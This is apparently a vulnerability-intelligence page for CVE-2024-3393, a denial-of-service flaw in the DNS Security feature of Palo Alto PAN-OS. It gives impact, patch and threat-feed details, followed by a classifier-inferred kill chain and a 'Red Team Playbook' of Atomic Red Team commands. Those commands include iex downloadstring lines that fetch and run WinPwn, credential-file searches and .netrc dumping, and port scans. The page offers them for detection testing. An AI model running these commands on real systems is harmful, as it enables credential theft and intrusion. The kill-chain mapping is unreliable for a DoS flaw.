CVE-2024-3393

HIGH CISA KEV Pub 27/12 Upd 21/10

Overview

This vulnerability is a denial of service condition caused by improper handling of malformed DNS packets within the DNS Security feature of Palo Alto Networks PAN-OS software. The root cause lies in the firewall's data plane processing logic, which fails to validate or sanitize certain DNS traffic inputs, leading to an unhandled exception that triggers a device reboot. The affected component is the DNS Security module embedded in the PAN-OS firewall data plane.

Vulnerability Description

A Denial of Service vulnerability in the DNS Security feature of Palo Alto Networks PAN-OS software allows an unauthenticated attacker to send a malicious packet through the data plane of the firewall that reboots the firewall. Repeated attempts to trigger this condition will cause the firewall to enter maintenance mode.

Impact

An attacker with network access can cause the firewall to reboot repeatedly, resulting in service disruption and denial of legitimate traffic through the device. No authentication or user interaction is needed to exploit the vulnerability. The firewall entering maintenance mode after repeated attacks can lead to extended downtime, impacting network security enforcement and potentially exposing the organization to further threats due to loss of firewall protection.

Solution

Palo Alto Networks has released patches addressing this issue in PAN-OS version 10.1.14 and related builds. Administrators should apply the updates as detailed in the official vendor advisory available at https://security.paloaltonetworks.com/CVE-2024-3393. No specific workarounds are documented; timely application of the vendor-provided patches is the recommended remediation step.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

A critical Denial of Service (DoS) vulnerability exists within the DNS Security feature of Palo Alto Networks PAN-OS software. This flaw allows unauthenticated attackers to send specially crafted packets through the firewall's data plane, leading to a system reboot. The nature of this vulnerability means that repeated exploitation can push the firewall into maintenance mode, effectively rendering it inoperable. This situation arises from the way the software processes DNS requests, which can be manipulated to trigger a failure state. The severity of this vulnerability is underscored by its high CVSS score of 8.7, indicating a significant risk to the integrity and availability of network security.

Attack vectors for this vulnerability are particularly concerning due to the unauthenticated nature of the exploitation. An attacker does not require any credentials or prior access to the network, making it accessible to anyone with the knowledge of how to craft the malicious packets. This ease of access allows for a wide range of exploitation scenarios, from targeted attacks against specific organizations to broader campaigns aimed at disrupting services across multiple entities using the affected software. The potential for automated tools to exploit this vulnerability increases the likelihood of widespread attacks, as attackers can easily deploy scripts to continuously bombard the firewall with malicious packets.

The real-world impact of this vulnerability can be profound, particularly for organizations relying on Palo Alto Networks firewalls for their security infrastructure. A successful attack could lead to significant downtime, resulting in loss of productivity and potential revenue. Furthermore, the transition of the firewall into maintenance mode could complicate recovery efforts, as IT teams may need to perform extensive troubleshooting to restore normal operations. The business risk extends beyond immediate operational disruption; it also includes reputational damage and potential regulatory repercussions, especially for organizations in sectors with stringent compliance requirements.

Detection and mitigation strategies are essential to safeguard against this vulnerability. Organizations should implement robust monitoring solutions capable of identifying unusual traffic patterns indicative of exploitation attempts. Intrusion detection systems (IDS) can be configured to alert administrators to suspicious DNS traffic, allowing for timely intervention. Additionally, applying security patches and updates provided by Palo Alto Networks is crucial to close this vulnerability. Regular vulnerability assessments and penetration testing can also help organizations identify and remediate weaknesses in their security posture before they can be exploited.

In conclusion, the Denial of Service vulnerability in the DNS Security feature of Palo Alto Networks PAN-OS poses a significant threat to network security. The combination of unauthenticated access, ease of exploitation, and potential for severe operational impact necessitates immediate attention from organizations using the affected software. By adopting proactive detection measures and ensuring timely updates, businesses can mitigate the risks associated with this vulnerability and enhance their overall cybersecurity resilience.

Affected Products (60)

Vendor Product Version CPE
paloaltonetworks Paloaltonetworks Pan-Os All cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os All cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.1.14 cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:-:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.1.14 cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h2:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.1.14 cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h4:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.1.14 cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h6:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.8 cpe:2.3:o:paloaltonetworks:pan-os:10.2.8:-:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.8 cpe:2.3:o:paloaltonetworks:pan-os:10.2.8:h10:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.8 cpe:2.3:o:paloaltonetworks:pan-os:10.2.8:h13:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.8 cpe:2.3:o:paloaltonetworks:pan-os:10.2.8:h15:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.8 cpe:2.3:o:paloaltonetworks:pan-os:10.2.8:h18:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.8 cpe:2.3:o:paloaltonetworks:pan-os:10.2.8:h3:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.8 cpe:2.3:o:paloaltonetworks:pan-os:10.2.8:h4:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.9 cpe:2.3:o:paloaltonetworks:pan-os:10.2.9:-:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.9 cpe:2.3:o:paloaltonetworks:pan-os:10.2.9:h1:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.9 cpe:2.3:o:paloaltonetworks:pan-os:10.2.9:h11:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.9 cpe:2.3:o:paloaltonetworks:pan-os:10.2.9:h14:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.9 cpe:2.3:o:paloaltonetworks:pan-os:10.2.9:h16:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.9 cpe:2.3:o:paloaltonetworks:pan-os:10.2.9:h18:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.9 cpe:2.3:o:paloaltonetworks:pan-os:10.2.9:h9:*:*:*:*:*:*
+40 additional CPEs

Exploits

No exploits found for this CVE.

Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

3 events
2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2024-12-30
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Denial of Service
84% dos
Improper Input Validation
64% input_validation
NULL Pointer Dereference
43% null_pointer

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns

No CAPEC pattern mapped to this CVE.

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-3393
security.paloaltonetworks.com
GitHub CVE vendor-advisory
https://security.paloaltonetworks.com/CVE-2024-3393
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-3393